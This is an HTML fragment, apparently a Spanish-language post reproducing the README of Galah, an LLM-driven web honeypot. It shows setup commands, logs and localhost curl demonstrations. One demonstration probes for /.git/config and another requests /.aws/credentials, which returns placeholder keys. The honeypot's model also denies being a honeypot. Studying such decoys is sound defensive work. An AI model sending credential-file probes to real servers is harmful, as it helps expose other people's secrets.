16px;"><code style="background: transparent; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">% git clone git@github.com:0x4D31/galah.git
% cd galah
% go mod download
% go build
% ./galah -i en0 -v
██████ █████ ██ █████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██
██ ███ ███████ ██ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ██ ███████ ██ ██ ██ ██
llm-based web honeypot // version 1.0
author: Adel "0x4D31" Karimi
2024/01/01 04:29:10 Starting HTTP server on port 8080
2024/01/01 04:29:10 Starting HTTP server on port 8888
2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned
2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned
2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434
2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache
2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."}
2024/01/01 04:35:59 Sending the crafted response to [::1]:65434
^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers...
2024/01/01 04:39:27 All servers shut down gracefully.</code></pre></div><div><br /></div><div><b>Ejemplos</b></div><div><b><br /></b></div><div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; margin-bottom: 16px; margin-top: 0px;"><span style="font-weight: var(--base-text-weight-semibold, 600);">Ejemplo 1</span></p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">% curl http://localhost:8080/login.php
<!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box; font-size: 16px;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="% curl http://localhost:8080/login.php
<!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">JSON log record:</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">{"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="{"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><h3 dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-weight: var(--base-text-weight-semibold, 600); line-height: 1.25; margin-bottom: 16px; margin-top: 24px;" tabindex="-1"><a aria-hidden="true" class="anchor" href="https://github.com/0x4D31/galah#example-2" id="user-content-example-2" style="background-color: transparent; box-sizing: border-box; float: left; font-size: 1.25em; line-height: 1; margin-left: -20px; padding-right: 4px; position: absolute; text-decoration-line: none; text-underline-offset: 0.2rem;" tabindex="-1"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewbox="0 0 16 16" width="16"></svg><span style="font-size: small;"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></span></a><span style="font-size: small;">Ejemplo 2</span></h3><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">% curl http://localhost:8080/.aws/credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-west-2
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box; font-size: 16px;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="% curl http://localhost:8080/.aws/credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-west-2"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">JSON log record:</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">{"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="{"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; margin-bottom: 16px; margin-top: 0px;"><span style="font-weight: var(--base-text-weight-semibold, 600);">Ejemplo 3</span></p><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">adversarial testing.</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">% curl http://localhost:8888/are-you-a-honeypot
No, I am a server.`
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="% curl http://localhost:8888/are-you-a-honeypot
No, I am a server.`"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">JSON log record:</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, 